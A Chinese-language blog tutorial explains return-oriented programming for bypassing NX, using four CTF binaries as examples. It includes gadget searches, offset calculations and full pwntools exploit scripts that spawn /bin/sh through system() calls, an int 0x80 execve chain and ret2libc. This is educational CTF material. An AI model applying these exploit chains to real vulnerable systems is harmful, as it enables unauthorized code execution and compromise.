Fork me on GitHub

二进制安全之NX绕过方法--ROP

在之前的缓冲区溢出的实验中,溢出到栈中的shellcode可以直接被系统执行,给系统安全带来了极大的风险,因此NX技术应运而生,该技术是一种在CPU上实现的安全技术,将数据和命令进行了区分,被标记为数据的内存页没有执行权限,因此即使将恶意shellcode写入到执行流程中也会因缺少执行权限而利用失败,在一定程度上提高了系统的安全性,但是所有安全都是绝对的,一种名为ROP(Return-Oriented Programming)的技术就能绕过这项安全措施,ROP的核心思想是利用retjmpcall等指令(主要是ret)来连接代码的上下文从而改变程序执行流程的一项技术,由于ret指令的功能是将当前的栈顶数据弹出到EIP中并跳转执行,我们可以在栈中精心构造一些以ret结尾的特殊指令(gadget)使系统跳转到我们在栈中放置的指令的位置,进而执行这些指令,达到攻击的效果。

64位ELF的ROP

先拿一道bugs bunny ctf 2017pwn150来说:

题目下载

这是一个64位的ELF文件且程序开启了NX:

放到IDA里可以很容易发现Hello()函数中存在溢出漏洞:

现看一下溢出的情况,可以使用IDA的远程调试来看看再发生溢出后寄存器的数据,IDA远程调试教程

点击运行程序,向程序中输入如下字符串:

1
2
gdb-peda$ pattern_creat 150
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'

回车之后IDA报错,段错误,查看此时寄存器中的数值:

栈内数据如下:

此时RSP寄存器中的值为41416741414B4141,ASCII转化一下就是AAgAAKAA,按照存储方式倒序就是AAKAAgAA,查看偏移量为88:

1
2
gdb-peda$ pattern_offset AAKAAgAA
AAKAAgAA found at offset: 88

至此我们找到了到达RSP的距离,如果想实现system("/bin/sh")起shell还需要找到system()函数的位置和字符串/bin/sh,和一个gadgetgadget是指程序中我们可以利用的代码片段,由于本程序为64位程序,在运行时与32位程序不同,64位程序的前六个整型或指针参数依次保存在RDIRSIRDXRCXR8R9这六个寄存器中,多出来的参数才会入栈,因此我们按照ROP的思路,需要找到的gadgetpop rdi , ret

system()的位置可以在main函数中的一个today()中找到:

1
2
3
4
5
6
7
8
9
10
11
.text:0000000000400756 ; __unwind {
.text:0000000000400756 push rbp
.text:0000000000400757 mov rbp, rsp
.text:000000000040075A mov edi, offset command ; "/bin/date"
.text:000000000040075F call _system
.text:0000000000400764 nop
.text:0000000000400765 pop rbp
.text:0000000000400766 retn
.text:0000000000400766 ; } // starts at 400756
.text:0000000000400766 today endp
.text:0000000000400766

地址为000000000040075F

/bin/sh可以在Hello的输出语句的shorry中找到一个sh

地址为00000000004008fb

本来还想着这里怎么打错了,原来是留了后门啊,也可以在函数名中找到:

地址为00000000004003ef

寻找目标gadget可用此程序:ROPgadget

1
2
⚡ root@kali ROPgadget --binary pwn150 | grep "pop rdi"
0x0000000000400883 : pop rdi ; ret

找到了以上的地址,可以构造脚本了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
context.update(arch = 'amd64', os = 'linux', timeout = 1)

io = process("./pwn150")

system = 0x40075f
binsh = 0x4003ef
pop_rdi_ret = 0x400883

payload="A"*88
payload+=p64(pop_rdi_ret)
payload+=p64(binsh)
payload+=p64(system)

io.sendline(payload)
io.interactive()

漏洞利用成功,再解释一下为什么 要这样构造脚本:

首先发送了88个字节填充无用空间,在88个字节之后的数据gadget会存储在ESP所指的内存区域,此时系统会执行gadget的指令pop rdi ; retrsp+8,通过pop rdi/bin/sh弹出到RDI寄存器中,rsp+8rsp此时指向system(),之后会执行ret,因为此时RSP指向system(),系统会调用system()函数并将rdi中的值作为参数传到system()中从而执行system("/bin/sh")

无system函数时调用int 0x80完成ROP

上文中的例子是程序中有system函数调用的情况,但是如果程序中没有system函数的调用应该怎么办呢?

我们可以使用int 0x80来进行系统中断

启动系统调用需要使用INT指令。linux系统调用位于中断0x80,执行INT指令时,所有操作转移到内核中的系统调用处理程序,完成后执行转移到INT指令之后的下一条指令。操作系统实现系统调用的基本过程是:

  • 应用程序调用库函数(API);
  • API将系统调用号存入EAX,然后通过中断调用使系统进入内核态;
  • 内核中的中断处理函数根据系统调用号,调用对应的内核函数(系统调用);
  • 系统调用完成相应功能,将返回值存入EAX,返回到中断处理函数;
  • 中断处理函数返回到API中;
  • API将EAX返回给应用程序。
  • 寄存器eax存放调用号,剩下的几个寄存器存放参数。

Tamu CTF 2018pwn5来说:

题目下载

看一下开启的安全措施:

1
2
3
4
5
6
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial

IDA看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
int first_day_corps()
{
int result; // eax

printf(
"You wake with a start as your sophomore yells \"Wake up fish %s! Why aren't you with your buddies in the fallout hole?\"\n");
puts("As your sophomore slams your door close you quickly get dressed in pt gear and go to the fallout hole.");
puts("You spend your morning excersizing and eating chow.");
puts("Finally your first day of class begins at Texas A&M. What do you decide to do next?(Input option number)");
puts("1. Go to class.\n2. Change your major.\n3. Skip class and sleep\n4. Study");
getchar();
result = (char)getchar();
if ( result == 50 )
{
printf("You decide that you are already tired of studying %s and go to the advisors office to change your major\n");
printf("What do you change your major to?: ");
result = change_major();
}
else if ( result > 50 )
{
if ( result == 51 )
{
result = puts(
"You succumb to the sweet calling of your rack and decide that sleeping is more important than class at the moment.");
}
else if ( result == 52 )
{
puts(
"You realize that the corps dorms are probably not the best place to be studying and decide to go to the library");
result = printf(
"Unfortunately the queitness of the library works against you and as you are studying %s related topics "
"you start to doze off and fall asleep\n");
}
}
else if ( result == 49 )
{
puts("You go to class and sit front and center as the Corps academic advisors told you to do.");
printf(
"As the lecturer drones on about a topic that you don't quite understand in the field of %s you feel yourself begin"
"ning to drift off.\n");
result = puts("You wake with a start and find that you are alone in the lecture hall.");
}
return result;
}

这道题的英文部分是真的多,分析一圈下来发现这些都是些没有什么作用的输出语句,漏洞存在于change_major()函数:

找到漏洞之后我们可以构造ROP了,由于这个程序中没有system函数,我们需要找到int 0x80系统中断,可用ROPgadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
⚡ root@kali ROPgadget --binary pwn5 | grep "int 0x80"
0x08071003 : add byte ptr [eax], al ; int 0x80
0x08071001 : add dword ptr [eax], eax ; add byte ptr [eax], al ; int 0x80
0x08071005 : int 0x80 // <=======这里
0x08070ffe : invd ; mov eax, 1 ; int 0x80
0x0807ed3a : ja 0x807ed40 ; add byte ptr [eax], al ; int 0x80
0x080bb0a6 : js 0x80bb0b0 ; int 0x80
0x080bb172 : js 0x80bb17b ; int 0x80
0x08070ffc : lock or dword ptr [edi], ecx ; or byte ptr [eax + 1], bh ; int 0x80
0x0807ed39 : mov eax, 0x77 ; int 0x80
0x0807ed30 : mov eax, 0xad ; int 0x80
0x08071000 : mov eax, 1 ; int 0x80
0x0807398f : nop ; int 0x80
0x0807ed2f : nop ; mov eax, 0xad ; int 0x80
0x0807398e : nop ; nop ; int 0x80
0x0807398c : nop ; nop ; nop ; int 0x80
0x0807398a : nop ; nop ; nop ; nop ; int 0x80
0x08073988 : nop ; nop ; nop ; nop ; nop ; int 0x80
0x0807ed37 : nop ; pop eax ; mov eax, 0x77 ; int 0x80
0x08070fff : or byte ptr [eax + 1], bh ; int 0x80
0x08070ffd : or dword ptr [edi], ecx ; or byte ptr [eax + 1], bh ; int 0x80
0x0807ed38 : pop eax ; mov eax, 0x77 ; int 0x80
0x080bb0a7 : push es ; int 0x80

找到int 8后需要找到执行系统调用的函数,在http://syscalls.kernelgrok.com/ 上有详细的参数,我们要调用
sys_execve

1
execve("/bin/sh",NULL,NULL)
  • 系统调用号eax应该为0xb
  • 第一个参数ebx应该指向/bin/sh的地址,或者指向sh的地址
  • 第二个参数ecx应该为0
  • 第三个参数edx应该为0

因此我们需要找到控制这几个寄存器的gadgetpop eax ; pop ebx ; pop ecx ; pop edx ; ret

1
2
3
4
5
⚡ root@kali ROPgadget --binary pwn5 --only 'pop|ret' | grep 'eax' 
0x08095ff4 : pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret //<=====
0x080a150a : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bc396 : pop eax ; ret
0x080a1509 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

我们可以用这一条0x08095ff4 : pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret

没有ecx,在找一下pop ecx

1
2
3
4
5
⚡ root@kali ROPgadget --binary pwn5 --only 'pop|ret' | grep 'ecx'
0x0804b99a : pop dword ptr [ecx] ; ret
0x080733b1 : pop ecx ; pop ebx ; ret //<=====
0x080e4325 : pop ecx ; ret
0x080733b0 : pop edx ; pop ecx ; pop ebx ; ret

用这一个:0x080733b1 : pop ecx ; pop ebx ; ret

寻找溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
[----------------------------------registers-----------------------------------]
EAX: 0x1f
EBX: 0x80481b0 (<_init>: push ebx)
ECX: 0x7fffffe1
EDX: 0x80f14d4 --> 0x0
ESI: 0x80f000c --> 0x806a620 (<__strcpy_sse2>: mov edx,DWORD PTR [esp+0x4])
EDI: 0x5e ('^')
EBP: 0x413b4141 ('AA;A')
ESP: 0xffffd130 ("EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
EIP: 0x41412941 ('A)AA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41412941
[------------------------------------stack-------------------------------------]
0000| 0xffffd130 ("EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0004| 0xffffd134 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0008| 0xffffd138 ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0012| 0xffffd13c ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0016| 0xffffd140 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0020| 0xffffd144 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0024| 0xffffd148 ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0028| 0xffffd14c ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41412941 in ?? ()
gdb-peda$ pattern_offset A)AA
A)AA found at offset: 32

随便找了一个sh,地址为0x80BF5C8

到这里就可以愉快的写脚本了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/python
#coding : utf-8
from pwn import *
io = process("./pwn5")

sh=0x080BF5C8 #"sh"
pop1=0x08095ff4 #pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
pop2=0x080733b1 #pop ecx ; pop ebx ; ret
int_80=0x08071005 #int 0x80

payload=""
payload+="A"*32
payload+=p32(pop1) #pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
payload+=p32(0xb)
payload+=p32(sh)
payload+=p32(0)
payload+=p32(0)
payload+=p32(sh)
payload+=p32(pop2) #pop ecx ; pop ebx ; ret
payload+=p32(0)
payload+=p32(sh)
payload += p32(int_80)

io.sendline("A")
io.sendline("A")
io.sendline("A")
io.sendline("y")
io.sendline("2")

io.sendline(payload)
io.interactive()

运行此脚本时发现并不能成功getshell,猜想是sh字符串的问题,于是尝试换一个方法,向程序输入/bin/sh,找到在bss段的存储位置:

1
2
3
4
5
6
.bss:080F1A04                                         ; change_major+33↑o ...
.bss:080F1A20 public first_name
.bss:080F1A20 first_name db ? ; ; DATA XREF: print_beginning+51↑o
.bss:080F1A20 ; print_beginning+66↑o ...
.bss:080F1A21 db ? ;
.bss:080F1A22 db ? ;

于是将脚本改为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/python
#coding : utf-8
from pwn import *
io = process("./pwn5")

bin_sh = 0x080f1a20 #"/bin/sh"
pop1 = 0x08095ff4 #pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
pop2 = 0x080733b1 #pop ecx ; pop ebx ; ret
int_80 = 0x08071005 #int 0x80

payload = ""
payload += "A" * 32
payload += p32(pop1) #pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
payload += p32(0xb)
payload += p32(bin_sh)
payload += p32(0)
payload += p32(0)
payload += p32(bin_sh)
payload += p32(pop2) #pop ecx ; pop ebx ; ret
payload += p32(0)
payload += p32(bin_sh)
payload += p32(int_80)

io.sendline("/bin/sh")
io.sendline("A")
io.sendline("A")
io.sendline("y")
io.sendline("2")

io.sendline(payload)
io.interactive()

getshell成功:

小结:

调用系统中断来绕过NX的方法总的来说不算难,要能从程序中找到int 0x80并能找到能改变要调用的函数的参数的指令,然后依次传参利用即可🎳

使用Got表中的函数进行ROP

题目下载

这是一道来自RedHat 2017的题目pwn1

使用IDA可以很容易发现此程序的main()函数存在栈溢出,伪C代码如下:

1
2
3
4
5
6
7
8
9
10
int __cdecl main()
{
int v1; // [esp+18h] [ebp-28h]

puts("pwn test");
fflush(stdout);
__isoc99_scanf("%s", &v1);
printf("%s", &v1);
return 1;
}

程序开启了NX,也就是说我们不能直接把shellcode写到栈中执行,因此向我们找一下获取flag的途径,在IDA中可以看到程序调用了system()函数,另外程序中有scanf(),因此我们可以考虑通过scanf()函数将/bin/sh字符串读取到栈中并通过构造ROP链使得程序执行system("/bin/sh")从而get flag

1
2
3
4
5
6
.rodata:08048620 s               db 'pwn test',0         ; DATA XREF: main+9↑o
.rodata:08048629 ; char format[]
.rodata:08048629 format db '%s',0 ; DATA XREF: main+2A↑o
.rodata:08048629 ; main+3E↑o
.rodata:08048629 _rodata ends
.rodata:08048629

scanf()的参数%s的位置为08048629

程序本身并没有可以用来起shell的字符串,因此我们需要通过scanf把/bin/sh写入到内存页中,但是并不是所有的内存页都能写入,我们可以使用IDA的快捷键ctrl+S查看内存页的情况

可见在0804A030有一块可读可写且长度足够的空间我们可以把/bin/sh写到这里面

通过pattern模块可知padding52,可得脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python
#coding:utf-8
from pwn import *

p=process('./pwn1')
elf=ELF('./pwn1')
scanf_addr=p32(elf.symbols['__isoc99_scanf'])
system_addr=p32(elf.symbols['system'])
baifenhao_s=p32(0x08048629)
binsh_addr=p32(0x0804A030)

payload="A"*52 #构造padding
payload+=scanf_addr #覆盖EIP的值为scanf的函数地址
payload+=baifenhao_s #scanf的第一个参数:%s
payload+=binsh_addr #scanf的第二个参数:地址
......

这里出现一些问题如果我们直接像上面那样写脚本的话,在EIP指向scanf()的时候,call __isoc99_scanf之后,ret指令会将call指令压入栈中的地址取出给EIP,但是我们向上面那样构造脚本并没有模拟出call指令的压栈操作,因此我们需要把脚本修改一下,在scanf()的地址和scanf()的参数之间加上一个scanf()调用完成之后的返回地址,由于我们需要调用过scanf()之后再调用system()函数,因此我们可以把这个地址修改为main()函数的地址以便于进行第二次栈溢出执行system()函数,示意图如下

1
2
3
4
5
6
7
8
9
+----------------+                      +----------------+
| scanf_addr | | scanf_addr |
+----------------+ +----------------+
| baifenhao_s | ========> | main_addr |
+----------------+ 修改为: +----------------+
| binsh_addr | | baifenhao_s |
+----------------+ +----------------+
| binsh_addr |
+----------------+

main()函数地址为08048531

1
2
3
4
5
6
7
8
9
.text:08048531 ; =============== S U B R O U T I N E =======================================
.text:08048531
.text:08048531 ; Attributes: bp-based frame
.text:08048531
.text:08048531 ; int __cdecl main(int, char **, char **)
.text:08048531 main proc near ; DATA XREF: start+17↑o
.text:08048531 ; __unwind {
.text:08048531 push ebp
.text:08048532 mov ebp, esp

因此脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/python
#coding:utf-8
from pwn import *

p=process('./pwn1')
elf=ELF('./pwn1')
scanf_addr=p32(elf.symbols['__isoc99_scanf'])
system_addr=p32(elf.symbols['system'])
main_addr=p32(0x08048531)
baifenhao_s=p32(0x08048629)
binsh_addr=p32(0x0804A030)

payload1="A"*52 #构造padding
payload1+=scanf_addr #覆盖EIP的值为scanf的函数地址
payload1+=main_addr #ret到main()
payload1+=baifenhao_s #scanf的第一个参数:%s
payload1+=binsh_addr #scanf的第二个参数:地址

payload2="B"*44 #构造padding,ebp-8,所以padding-8
payload2+=system_addr #覆盖EIP的值为system的函数地址
payload2+=main_addr #system函数的返回地址,无需考虑,可随意填充
payload2+=binsh_addr #binsh字符串的地址充当system()函数的参数

p.sendline(payload1)
p.sendline("/bin/sh")
p.sendline(payload2)
p.interactive()

效果:

ROP之ret2libc

题目下载

有时候题目所给的程序中并没有可以直接拿来用的函数地址或者字符串,但是给了libc文件,这个文件中包含我们能用到的函数,因此我们可以通过计算相应的函数地址在libc中的偏移量来计算出libc映射到程序中的起始地址,进而利用libc中的其他函数

Security Fest CTF 2016tvstation中,主要逻辑如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void __noreturn menu()
{
signed int v0; // eax

while ( 1 )
{
while ( 1 )
{
print_menu();
v0 = (char)get_one();
if ( v0 != 50 )
break;
user();
}
if ( v0 > 50 )
{
if ( v0 == 51 )
{
puts("Disconnected!");
exit(0);
}
if ( v0 == 52 )
debug();
else
LABEL_13:
puts("Invalid option!");
}
else
{
if ( v0 != 49 )
goto LABEL_13;
uptime();
}
}
}

这里面有一个debug()函数:

1
2
3
4
5
6
7
8
9
10
11
12
__int64 debug()
{
void *v0; // ST08_8
size_t v1; // rax

puts("\n=== TV Station - Debug Menu ===");
v0 = dlsym((void *)0xFFFFFFFFFFFFFFFFLL, "system");
sprintf(fmsg, info, v0);
v1 = strlen(fmsg);
write(1, fmsg, v1);
return debug_func(1LL, fmsg);
}

此函数会直接泄露system()在此程序中加载的位置

system()libc的偏移量为00000000000456A0:

1
2
3
4
5
6
7
8
9
10
.text:00000000000456A0 ; =============== S U B R O U T I N E =======================================
.text:00000000000456A0
.text:00000000000456A0
.text:00000000000456A0 public system ; weak
.text:00000000000456A0 system proc near ; DATA XREF: LOAD:0000000000007438↑o
.text:00000000000456A0 ; LOAD:000000000000BC68↑o
.text:00000000000456A0 ; __unwind {
.text:00000000000456A0 test rdi, rdi
.text:00000000000456A3 jz short loc_456B0
.text:00000000000456A5 jmp sub_45130

/bin/sh的偏移地址000000000018AC40:

1
2
.rodata:000000000018AC40 aBinSh          db '/bin/sh',0          ; DATA XREF: sub_45130+451↑o
.rodata:000000000018AC40 ; _IO_proc_open+2F9↑o ...

有了system()/bin/sh的偏移地址后我们需要一个gadget来给system()传参:

1
2
⚡ root@kali ROPgadget --binary tvstation | grep "pop rdi"
0x0000000000400c13 : pop rdi ; ret

因此可以构造脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/python
#coding:"utf-8"
from pwn import *

io=process('./tvstation')
#elf=ELF('./libc.so.6_x64')

io.recvuntil(": ")
io.sendline('4') #跳转到debug()
io.recvuntil("@0x")
system_addr = int(io.recv(12), 16) #读取输出的system函数在内存中的地址
libc_start = system_addr - 0x456a0 #根据偏移计算libc在内存中的首地址
pop_rdi_addr = 0x400c13 #pop rdi; ret 在内存中的地址,给system函数传参
binsh_addr = libc_start + 0x18AC40 #"/bin/sh"字符串在内存中的地址

payload = ""
payload += 'A'*40 #padding
payload += p64(pop_rdi_addr) #pop rdi; ret
payload += p64(binsh_addr) #system函数参数
payload += p64(system_addr) #调用system()执行system("/bin/sh")

io.sendline(payload)
io.interactive()

⌛待更新…

您的支持是我最大的动力🍉